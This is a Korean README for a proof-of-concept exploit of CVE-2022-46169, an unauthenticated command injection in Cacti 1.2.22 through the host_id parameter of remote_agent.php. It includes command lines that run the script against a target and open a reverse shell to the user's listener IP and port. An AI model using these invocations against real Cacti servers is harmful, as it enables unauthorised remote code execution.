
# CVE-2022-46169 개념 증명 익스플로잇 Cacti 1.2.22의 명령 주입 취약점을 통해 인증 없이 원격 코드 실행을 가능하게 하는 개념 증명 익스플로잇입니다.
이것은 Cacti 1.2.22에 영향을 미치는 CVE-2022-46169 취약점에 대한 개념 증명(POC) 스크립트입니다.
CVE-2022-46169 취약점은 Cacti 1.2.22까지의 버전에서 인증되지 않은 명령 주입을 허용하여 www-data 사용자로 인증되지 않은 원격 코드 실행을 달성할 수 있게 합니다. 이 취약점은 "remote_agent.php" 파일의 "host_id" 매개변수에 대한 사용자 입력 검증이 부적절하여 발생합니다.
python CVE-2022-46169.py --url <TARGET_URL> --ip <YOUR_IP> --port <YOUR_PORT>
<TARGET_URL>를 대상 Cacti 설치의 URL로, <YOUR_IP>를 리버스 쉘을 수신할 머신의 IP 주소로, <YOUR_PORT>를 리버스 쉘을 수신할 포트 번호로 바꾸십시오.
예시:
python CVE-2022-46169.py --url http://10.10.11.211 --ip 10.10.14.5 --port 1337
이 POC 스크립트는 교육 목적으로만 제공됩니다. 사용에 따른 모든 책임은 사용자에게 있습니다. 이 스크립트의 작성자는 이 스크립트 사용으로 인한 어떤 피해에 대해서도 책임을 지지 않습니다. 참조